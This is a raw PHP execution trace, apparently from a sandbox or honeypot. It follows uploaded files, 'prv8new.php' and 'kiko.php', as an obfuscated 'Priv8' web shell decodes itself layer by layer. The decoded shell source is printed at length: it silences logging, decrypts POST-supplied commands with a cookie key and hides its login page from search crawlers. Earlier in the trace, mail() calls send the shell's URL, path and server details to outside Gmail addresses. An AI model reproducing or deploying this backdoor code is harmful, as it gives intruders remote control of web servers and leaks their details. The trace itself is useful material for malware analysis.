4	257	0	0.030405	1241664	fwrite	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1719	2	resource(5) of type (stream)	'<?php phpinfo();\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "=kNpMtH71+ljPksZMcCcwcK+3fDlWgk7NrBwORQ/WY/zBOoBN4X5VZLsGffsu1D7GtfN+HA/jfc4llGsPjjJ9bYdzfpXuEKc5lgWShDAjYIIyjLEB6sJ7xwmW/t3sAjUdNhc365UYm35GrrxT/tH/rnbb1CtIqbEcyy3idRJJkv+7+nmXjdVY/WLfqnB02J4O1fe/7lAU0MajUGZSsHwKqhmHzv900i0h3Yto'
4	257	1	0.030443	1241728
4	257	R			834
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1725	$b = 'Soldier\'ss'
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1726	$c = 'Dosya Yolu : /var/www/html\r\n'
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1728	$c .= 'Server Admin : webmaster@localhost\r\n'
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1730	$c .= 'Server isletim sistemi : Apache/2.4.52 (Ubuntu)\r\n'
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1732	$c .= 'Shell Link : http://localhost/uploads/prv8new.php\r\n'
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1734	$c .= 'Avlanan Site : localhost\r\n'
4	258	0	0.030540	1241888	mail	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1736	3	'hacklinksatis@gmail.com'	'Soldier\'ss'	'Dosya Yolu : /var/www/html\r\nServer Admin : webmaster@localhost\r\nServer isletim sistemi : Apache/2.4.52 (Ubuntu)\r\nShell Link : http://localhost/uploads/prv8new.php\r\nAvlanan Site : localhost\r\n'
4	258	1	0.031533	1241984
4	258	R			FALSE
4	259	0	0.031566	1241888	mail	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1737	3	'burdayimreis@gmail.com'	'Soldier\'ss'	'Dosya Yolu : /var/www/html\r\nServer Admin : webmaster@localhost\r\nServer isletim sistemi : Apache/2.4.52 (Ubuntu)\r\nShell Link : http://localhost/uploads/prv8new.php\r\nAvlanan Site : localhost\r\n'
4	259	1	0.032668	1241984
4	259	R			FALSE
3	15	1	0.032701	1241888
2	7	1	0.032724	1146736
			0.032840	1062032
TRACE END   [2023-02-13 01:45:15.639518]

data/traces/3e627ceaede43a88f87f16760c48505a_trace-1676262176.4876.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 02:23:22.385458]
1	0	1	0.000263	393512
1	3	0	0.000853	468112	{main}	1		/var/www/html/uploads/kiko.php	0	0
1		A						/var/www/html/uploads/kiko.php	2	$gz = 'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=='
1		A						/var/www/html/uploads/kiko.php	3	$gzinflate = '=EHCLzmzeQldA8v1yH/3hfwiCE1jnavFec5NTE9tDRQVe0GFzdwwVmzlFx24O1iEVRyctnXPNftq9ptVrHZ7PCtW6uENVdrIa9OJ+2NyoH+5WhdGpKMJ584+UM3m/tS4sciMD9WUORD4E4lDN9rfl3UG0LmHpOtjRGaXaeMPelL6bfZaKnzf95dBJI3E/tOBLhurqmTrBCuLW0Ol/JWr6h0aUK9RtFbzNQhcVxWVF4VaR5LbX/P5weWHjE5eDaIwHQobqZFQbmjDM7ouhcPB2gU9ugqYqlzbhxbpDh/Fob38GVhkMpuB/t0xG2e24BVIFvxtnII09o3juHC7GeDgApuDH/4LDHdgqDCruR0wbofM/kfcTnoMklu7SefKeC9AfmoQCHujPN/9DFWR7s/u9+lXNfa0LfvMkRT6U8Q4Pdf59Nyu7urv4Z5JPpXpui7tbzi5BRV4BViNeTuwefaFYPVxUy38qP6x84JthG15VsiLlJCvWCQ9lGGMA61QLOhm'
2	4	0	0.001013	468112	base64_decode	0		/var/www/html/uploads/kiko.php	4	1	'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=='
2	4	1	0.001043	468400
2	4	R			'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24gzinflate%29%29%29%29%29%29%29%29%3B'
2	5	0	0.001071	468368	urldecode	0		/var/www/html/uploads/kiko.php	4	1	'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24gzinflate%29%29%29%29%29%29%29%29%3B'
2	5	1	0.001097	468624
2	5	R			'eval(&quot;?&gt;&quot;.gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'
2	6	0	0.001123	468336	htmlspecialchars_decode	0		/var/www/html/uploads/kiko.php	4	1	'eval(&quot;?&gt;&quot;.gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'
2	6	1	0.001147	468560
2	6	R			'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'
2	7	0	0.001187	470688	eval	1	'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'	/var/www/html/uploads/kiko.php	4	0
3	8	0	0.001209	470688	strrev	0		/var/www/html/uploads/kiko.php(4) : eval()'d code	1	1	'=EHCLzmzeQldA8v1yH/3hfwiCE1jnavFec5NTE9tDRQVe0GFzdwwVmzlFx24O1iEVRyctnXPNftq9ptVrHZ7PCtW6uENVdrIa9OJ+2NyoH+5WhdGpKMJ584+UM3m/tS4sciMD9WUORD4E4lDN9rfl3UG0LmHpOtjRGaXaeMPelL6bfZaKnzf95dBJI3E/tOBLhurqmTrBCuLW0Ol/JWr6h0aUK9RtFbzNQhcVxWVF4VaR5LbX/P5weWHjE5eDaIwHQobqZFQbmjDM7ouhcPB2gU9ugqYqlzbhxbpDh/Fob38GVhkMpuB/t0xG2e24BVIFvxtnII09o3juHC7GeDgApuDH/4LDHdgqDCruR0wbofM/kfcTnoMklu7SefKeC9AfmoQCHujPN/9DFWR7s/u9+lXNfa0LfvMkRT6U8Q4Pdf59Nyu7urv4Z5JPpXpui7tbzi5BRV4BViNeTuwefaFYPVxUy38qP6x84JthG15VsiLlJCvWCQ9lGGMA61QLOhm'
3	8	1	0.001354	544448
3	8	R			'AC+A0H8ALoDRfwApgNZ/eJwAKYDWf3ic5P3rdtrYtjCK/s5qbb4D5ZVvYs84jgQmMUmcmtwEyICNkASoqr40IWEQuqBwh5r1d7/HeYb9IucZ9pOc3scYunGxnZq1qua3T9JsgzTuo99HH71/nhszy1+kFlt/eHu2GG4W7yb6SqdPz1LzmXF7Nl4s/I/v3j0+XtnW/GqVuYK3V7Y+94ezub196+iD+ZUxdd8JZT7zvnSdeVspCoW31xU+87aY5fJvi8WsUC5/yGQLJf6dq1ve1WT+o75YzG4dp6Js/ffOpF0fvS91ZMX9UBqMyvPtt+nibcZrmnKzkl9927Yyb+8+fJuLnl2Y1XOzTK92/00uLEZnKWOsz+bDxe2ZIgtvb86+fH5Hh/7l84/+2P/bf/3T8qyvUOA8PZzNprOvznSUvky1lEbj4lP8LTz/SkrM4TWXfGdac9/Rtyffu/rm63AzNJYLa+p9XVju8LDMdLnwl4uvg+Xj43BmeaOgxGtYast6'
3	9	0	0.001467	544416	base64_decode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code	1	1	'AC+A0H8ALoDRfwApgNZ/eJwAKYDWf3ic5P3rdtrYtjCK/s5qbb4D5ZVvYs84jgQmMUmcmtwEyICNkASoqr40IWEQuqBwh5r1d7/HeYb9IucZ9pOc3scYunGxnZq1qua3T9JsgzTuo99HH71/nhszy1+kFlt/eHu2GG4W7yb6SqdPz1LzmXF7Nl4s/I/v3j0+XtnW/GqVuYK3V7Y+94ezub196+iD+ZUxdd8JZT7zvnSdeVspCoW31xU+87aY5fJvi8WsUC5/yGQLJf6dq1ve1WT+o75YzG4dp6Js/ffOpF0fvS91ZMX9UBqMyvPtt+nibcZrmnKzkl9927Yyb+8+fJuLnl2Y1XOzTK92/00uLEZnKWOsz+bDxe2ZIgtvb86+fH5Hh/7l84/+2P/bf/3T8qyvUOA8PZzNprOvznSUvky1lEbj4lP8LTz/SkrM4TWXfGdac9/Rtyffu/rm63AzNJYLa+p9XVju8LDMdLnwl4uvg+Xj43BmeaOgxGtYast6'
3	9	1	0.001832	618176
3	9	R			'\000/��\000.��\000)��x�\000)��x���v�ض0���jm�\003�ob�8�\004&1I���\004Ȁ��\004���4!a\020��p���w��y��"�\031�����\030�q������O�l�4��G\037��\0333�_�\026[x{�\030n\026�&�J�O�R�q{6^,����=>^��j����W�>�����}���1u�\te>�t�y[)\n���\025>���o�ŬP.�d\v%���[��d���X�n\035��l��Τ]\037�/ud�P\032������m�k�r��_}Û¶2o�>|���]��s�L�v�M.,Fg)c������"\vooξ|~G���������P�<=�ͦ���t��L��F��S�-<�JJ��5�|gZs�ѷ\'߻���p34�\vk�}]X���t�𗋯����pfy���kXj�z�\f>u�Z̖��\f<K/\027�oo���Y|,X�p�Խěkx㚹��_;\025I�H?�k���U�'
3	10	0	0.003024	544416	gzinflate	0		/var/www/html/uploads/kiko.php(4) : eval()'d code	1	1	'\000/��\000.��\000)��x�\000)��x���v�ض0���jm�\003�ob�8�\004&1I���\004Ȁ��\004���4!a\020��p���w��y��"�\031�����\030�q������O�l�4��G\037��\0333�_�\026[x{�\030n\026�&�J�O�R�q{6^,����=>^��j����W�>�����}���1u�\te>�t�y[)\n���\025>���o�ŬP.�d\v%���[��d���X�n\035��l��Τ]\037�/ud�P\032������m�k�r��_}Û¶2o�>|���]��s�L�v�M.,Fg)c������"\vooξ|~G���������P�<=�ͦ���t��L��F��S�-<�JJ��5�|gZs�ѷ\'߻���p34�\vk�}]X���t�𗋯����pfy���kXj�z�\f>u�Z̖��\f<K/\027�oo���Y|,X�p�Խěkx㚹��_;\025I�H?�k���U�'
3	10	1	0.004029	601792
3	10	R			'\000.��\000)��x�\000)��x���v�ض0���jm�\003�ob�8�\004&1I���\004Ȁ��\004���4!a\020��p���w��y��"�\031�����\030�q������O�l�4��G\037��\0333�_�\026[x{�\030n\026�&�J�O�R�q{6^,����=>^��j����W�>�����}���1u�\te>�t�y[)\n���\025>���o�ŬP.�d\v%���[��d���X�n\035��l��Τ]\037�/ud�P\032������m�k�r��_}Û¶2o�>|���]��s�L�v�M.,Fg)c������"\vooξ|~G���������P�<=�ͦ���t��L��F��S�-<�JJ��5�|gZs�ѷ\'߻���p34�\vk�}]X���t�𗋯����pfy���kXj�z�\f>u�Z̖��\f<K/\027�oo���Y|,X�p�Խěkx㚹��_;\025I�H?�k���U�o_\v�JKN'
3	11	0	0.005021	528032	gzinflate	0		/var/www/html/uploads/kiko.php(4) : eval()'d code	1	1	'\000.��\000)��x�\000)��x���v�ض0���jm�\003�ob�8�\004&1I���\004Ȁ��\004���4!a\020��p���w��y��"�\031�����\030�q������O�l�4��G\037��\0333�_�\026[x{�\030n\026�&�J�O�R�q{6^,����=>^��j����W�>�����}���1u�\te>�t�y[)\n���\025>���o�ŬP.�d\v%���[��d���X�n\035��l��Τ]\037�/ud�P\032������m�k�r��_}Û¶2o�>|���]��s�L�v�M.,Fg)c������"\vooξ|~G���������P�<=�ͦ���t��L��F��S�-<�JJ��5�|gZs�ѷ\'߻���p34�\vk�}]X���t�𗋯����pfy���kXj�z�\f>u�Z̖��\f<K/\027�oo���Y|,X�p�Խěkx㚹��_;\025I�H?�k���U�o_\v�JKN'
3	11	1	0.006010	585408
3	11	R			'\000)��x�\000)��x���v�ض0���jm�\003�ob�8�\004&1I���\004Ȁ��\004���4!a\020��p���w��y��"�\031�����\030�q������O�l�4��G\037��\0333�_�\026[x{�\030n\026�&�J�O�R�q{6^,����=>^��j����W�>�����}���1u�\te>�t�y[)\n���\025>���o�ŬP.�d\v%���[��d���X�n\035��l��Τ]\037�/ud�P\032������m�k�r��_}Û¶2o�>|���]��s�L�v�M.,Fg)c������"\vooξ|~G���������P�<=�ͦ���t��L��F��S�-<�JJ��5�|gZs�ѷ\'߻���p34�\vk�}]X���t�𗋯����pfy���kXj�z�\f>u�Z̖��\f<K/\027�oo���Y|,X�p�Խěkx㚹��_;\025I�H?�k���U�o_\v�JKN���Z���\'
3	12	0	0.007074	528032	gzinflate	0		/var/www/html/uploads/kiko.php(4) : eval()'d code	1	1	'\000)��x�\000)��x���v�ض0���jm�\003�ob�8�\004&1I���\004Ȁ��\004���4!a\020��p���w��y��"�\031�����\030�q������O�l�4��G\037��\0333�_�\026[x{�\030n\026�&�J�O�R�q{6^,����=>^��j����W�>�����}���1u�\te>�t�y[)\n���\025>���o�ŬP.�d\v%���[��d���X�n\035��l��Τ]\037�/ud�P\032������m�k�r��_}Û¶2o�>|���]��s�L�v�M.,Fg)c������"\vooξ|~G���������P�<=�ͦ���t��L��F��S�-<�JJ��5�|gZs�ѷ\'߻���p34�\vk�}]X���t�𗋯����pfy���kXj�z�\f>u�Z̖��\f<K/\027�oo���Y|,X�p�Խěkx㚹��_;\025I�H?�k���U�o_\v�JKN���Z���\'
3	12	1	0.008064	585408
3	12	R			'x�\000)��x���v�ض0���jm�\003�ob�8�\004&1I���\004Ȁ��\004���4!a\020��p���w��y��"�\031�����\030�q������O�l�4��G\037��\0333�_�\026[x{�\030n\026�&�J�O�R�q{6^,����=>^��j����W�>�����}���1u�\te>�t�y[)\n���\025>���o�ŬP.�d\v%���[��d���X�n\035��l��Τ]\037�/ud�P\032������m�k�r��_}Û¶2o�>|���]��s�L�v�M.,Fg)c������"\vooξ|~G���������P�<=�ͦ���t��L��F��S�-<�JJ��5�|gZs�ѷ\'߻���p34�\vk�}]X���t�𗋯����pfy���kXj�z�\f>u�Z̖��\f<K/\027�oo���Y|,X�p�Խěkx㚹��_;\025I�H?�k���U�o_\v�JKN���Z���\037�9\01'
3	13	0	0.009045	528032	gzuncompress	0		/var/www/html/uploads/kiko.php(4) : eval()'d code	1	1	'x�\000)��x���v�ض0���jm�\003�ob�8�\004&1I���\004Ȁ��\004���4!a\020��p���w��y��"�\031�����\030�q������O�l�4��G\037��\0333�_�\026[x{�\030n\026�&�J�O�R�q{6^,����=>^��j����W�>�����}���1u�\te>�t�y[)\n���\025>���o�ŬP.�d\v%���[��d���X�n\035��l��Τ]\037�/ud�P\032������m�k�r��_}Û¶2o�>|���]��s�L�v�M.,Fg)c������"\vooξ|~G���������P�<=�ͦ���t��L��F��S�-<�JJ��5�|gZs�ѷ\'߻���p34�\vk�}]X���t�𗋯����pfy���kXj�z�\f>u�Z̖��\f<K/\027�oo���Y|,X�p�Խěkx㚹��_;\025I�H?�k���U�o_\v�JKN���Z���\037�9\01'
3	13	1	0.010042	585408
3	13	R			'x���v�ض0���jm�\003�ob�8�\004&1I���\004Ȁ��\004���4!a\020��p���w��y��"�\031�����\030�q������O�l�4��G\037��\0333�_�\026[x{�\030n\026�&�J�O�R�q{6^,����=>^��j����W�>�����}���1u�\te>�t�y[)\n���\025>���o�ŬP.�d\v%���[��d���X�n\035��l��Τ]\037�/ud�P\032������m�k�r��_}Û¶2o�>|���]��s�L�v�M.,Fg)c������"\vooξ|~G���������P�<=�ͦ���t��L��F��S�-<�JJ��5�|gZs�ѷ\'߻���p34�\vk�}]X���t�𗋯����pfy���kXj�z�\f>u�Z̖��\f<K/\027�oo���Y|,X�p�Խěkx㚹��_;\025I�H?�k���U�o_\v�JKN���Z���\037�9\016����]��'
3	14	0	0.011068	528032	gzuncompress	0		/var/www/html/uploads/kiko.php(4) : eval()'d code	1	1	'x���v�ض0���jm�\003�ob�8�\004&1I���\004Ȁ��\004���4!a\020��p���w��y��"�\031�����\030�q������O�l�4��G\037��\0333�_�\026[x{�\030n\026�&�J�O�R�q{6^,����=>^��j����W�>�����}���1u�\te>�t�y[)\n���\025>���o�ŬP.�d\v%���[��d���X�n\035��l��Τ]\037�/ud�P\032������m�k�r��_}Û¶2o�>|���]��s�L�v�M.,Fg)c������"\vooξ|~G���������P�<=�ͦ���t��L��F��S�-<�JJ��5�|gZs�ѷ\'߻���p34�\vk�}]X���t�𗋯����pfy���kXj�z�\f>u�Z̖��\f<K/\027�oo���Y|,X�p�Խěkx㚹��_;\025I�H?�k���U�o_\v�JKN���Z���\037�9\016����]��'
3	14	1	0.012588	683712
3	14	R			'<script type="text/javascript" src="http://ff.kis.v2.scr.kaspersky-labs.com/FD126C42-EBFA-4E12-B309-BB3FDD723AC1/main.js?attr=llEUyp6ljQIg6CSTUm7CbgDsyqot-2nMdTME9vqyN2-K7qsJnkArI5r2XHOqTAtg" charset="UTF-8"></script><?php\r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'display_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n$asciifnc1 = true;\r\n$asciifnc2 = \'utf-8\';\r\n$asciifnc3 = \'FilesMan\';\r\n$asciifnc4 = md5($_SERVER[\'
3	15	0	0.015558	1236984	eval	1	'?><script type="text/javascript" src="http://ff.kis.v2.scr.kaspersky-labs.com/FD126C42-EBFA-4E12-B309-BB3FDD723AC1/main.js?attr=llEUyp6ljQIg6CSTUm7CbgDsyqot-2nMdTME9vqyN2-K7qsJnkArI5r2XHOqTAtg" charset="UTF-8"></script><?php\r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'display_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n$asciifnc1 = true;\r\n$asciifnc2 = \'utf-8\';\r\n$asciifnc3 = \'FilesMan\';\r\n$asciifnc4 = md5($_SERVER[\'HTTP_USER_AGENT\']);\r\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\r\n\tprototype(md5($_SERVER[\'HTTP_HOST\'])."key", $asciifnc4);\r\n}\r\n\r\nif(empty($_POST[\'charset\']))\r\n\t$_POST[\'charset\'] = $asciifnc2;\r\nif (!isset($_POST[\'ne\'])) {\r\n\tif(isset($_POST[\'a\'])) $_POST[\'a\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'a\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'c\'])) $_POST[\'c\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'c\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p1\'])) $_POST[\'p1\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p1\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p2\'])) $_POST[\'p2\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p2\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p3\'])) $_POST[\'p3\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p3\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n}\r\nfunction decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@set_time_limit(0);\r\nif(version_compare(PHP_VERSION, \'5.3.0\', \'<\')){\r\n    set_magic_quotes_runtime(0);\r\n}\r\n@define(\'VERSION\', \'Priv8 privshell.com v3\');\r\nif(get_magic_quotes_gpc()) {\r\n\tfunction stripslashes_array($array) {\r\n\t\treturn is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);\r\n\t}\r\n\t$_POST = stripslashes_array($_POST);\r\n    $_COOKIE = stripslashes_array($_COOKIE);\r\n}\r\n/* (С) 11.2011 oRb */\r\nif(!empty($asciifnc5)) {\r\n    if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $asciifnc5))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']), $asciifnc5);\r\n    if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $asciifnc5))\r\n        hardLogin();\r\n}\r\nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\r\n    $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$asciifnc1;\r\nfunction hardLogin() {\r\n\t\tif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\r\n\t\t  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\r\n\t\t  if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\r\n\t\t  header(\'HTTP/1.0 404 Not Found\');\r\n\t\t  exit;\r\n\t\t  }\r\n\t\t}\r\n\t\t\r\n\tdie("</br></br></br>\r\n\r\n\t<style>\r\n\tbody {background-color:#000000; color:#e1e1e1; margin:0; font:normal 75% Open Sans, sans-serif; background-image:url(\'https://i.imgur.com/hLcQCBx.gif\'); } </style><body><pre align=center><form method=post style=\'color:#ffffff;text-align: center;\'><img src=\'https://i.imgur.com/4Fq8k1E.png\' align=\'center\'><br><br><input type=password name=pass style=\'background-color:whitesmoke;border:1px solid #FFF;outline:none;\' required><input type=submit name=\'watching\' value=\'Submit\' style=\'border:none;background-color:#1e252e;color:#fff;cursor:pointer; \'></form></pre> </body>");\r\n}\r\nif(strtolower(substr(PHP_OS,0,3)) == "win")\r\n\t$os = \'win\';\r\nelse\r\n\t$os = \'nix\';\r\n$safe_mode = @ini_get(\'safe_mode\');\r\nif(!$safe_mode)\r\n    error_reporting(0);\r\n$disable_functions = @ini_get(\'disable_functions\');\r\n$home_cwd = @getcwd();\r\nif(isset($_POST[\'c\']))\r\n\t@chdir($_POST[\'c\']);\r\n$cwd = @getcwd();\r\nif($os == \'win\') {\r\n\t$home_cwd = str_replace("\\\\", "/", $home_cwd);\r\n\t$cwd = str_replace("\\\\", "/", $cwd);\r\n}\r\nif($cwd[strlen($cwd)-1] != \'/\')\r\n\t$cwd .= \'/\';\r\n\r\nfunction hardHeader() {\r\n\tif(empty($_POST[\'charset\']))\r\n\t\t$_POST[\'charset\'] = $GLOBALS[\'asciifnc2\'];\r\n\techo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title> " . VERSION ."</title>\r\n\t<link href=\'https://fonts.googleapis.com/css?family=Open+Sans\' rel=\'stylesheet\'>\r\n<style>\r\ninput[type=submit] {\r\n    padding:1px 7px;\r\n    background:#ffb101bd;\r\n    border:0 none;\r\n    cursor:pointer;\r\n    -webkit-border-radius: 5px;\r\n    border-radius: 5px;\r\n}\r\n\tbody {background-color:#000000; color:#e1e1e1; margin:0; font:normal 75% Open Sans, sans-serif; background-image:url(\'https://i.imgur.com/hLcQCBx.gif\'); }\r\n\r\n\tcanvas{ display: block; vertical-align: bottom;}\r\n\t#particles-js{width: 100%; height: 100px; background-color: #000000; background-image: url(\'\'); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\r\n\tbody,td,th\t{font:10pt Open Sans, sans-serif;margin:0;vertical-align:top;}\r\n\ttable.infoo\t{color:#ffffff; background-image: url(\'https://i.imgur.com/gL0UG8Y.png\'); background-position: center;  background-repeat:no-repeat;  -webkit-background-size: cover;\t-moz-background-size: cover; -o-background-size: cover;\tbackground-size: 80%; }\r\n\ttable.info\t{color:#ffffff;}\r\n\ttable#toolsTbl {background-color: #000000; background-image:url(\'https://i.imgur.com/hLcQCBx.gif\'); }\r\n\tspan,h1,a\t{color:#ffb101 !important;}\r\n\tspan\t\t{font-weight:bolder;}\r\n\th1\t\t\t{border-left:5px solid #ffb101;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px; }\r\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#000000; background-image:url(\'https://i.imgur.com/hLcQCBx.gif\');}\r\n\ta\t\t\t{text-decoration:none;}\r\n\ta:hover\t\t{text-decoration:underline;}\r\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\r\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\r\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\r\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\r\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Open Sans, sans-serif;outline:none; }\r\n\tlabel {position:relative}\r\n\tlabel:after {content:\'<>\';font:10px \'Open Sans\', sans-serif, monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\r\n\tlabel:before {content:\'\';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\r\n\tform\t\t{margin:0px;}\r\n\t#toolsTbl\t{text-align:center;}\r\n\t#fak \t\t{background:none;}\r\n\t#fak td \t{padding:5px 0 0 0;}\r\n\tiframe\t\t{border:1px solid #000000;}\r\n\t.toolsInp\t{width:300px}\r\n\t.main th\t{text-align:left;background-color:#000000;}\r\n\t.main tr:hover{background-color:#373c42;}\r\n\t.main td, th{vertical-align:middle;}\r\n\tinput[type=\'submit\']{background-color:#ffb101bd;}\r\n\tinput[type=\'button\']{background-color:#ffb101;}\r\n\tinput[type=\'submit\']:hover{background-color:#ffb101bd;}\r\n\tinput[type=\'button\']:hover{background-color:#ffb101;}\r\n\t.l1\t\t\t{background-color:#202832;}\r\n\tpre\t\t\t{font:9pt \'Open Sans\', sans-serif;}\r\n</style>\r\n<script>\r\n    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\r\n    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\r\n    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\r\n    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';\r\n    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';\r\n    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';\r\n    var d = document;\r\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr=\'\';var enc_str=\'\';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\r\n\tfunction utf8_encode(argString){var string=(argString+\'\');var utftext=\'\',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n\tfunction base64_encode(data){var b64 = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc=\'\',tmp_arr=[];if (!data){return 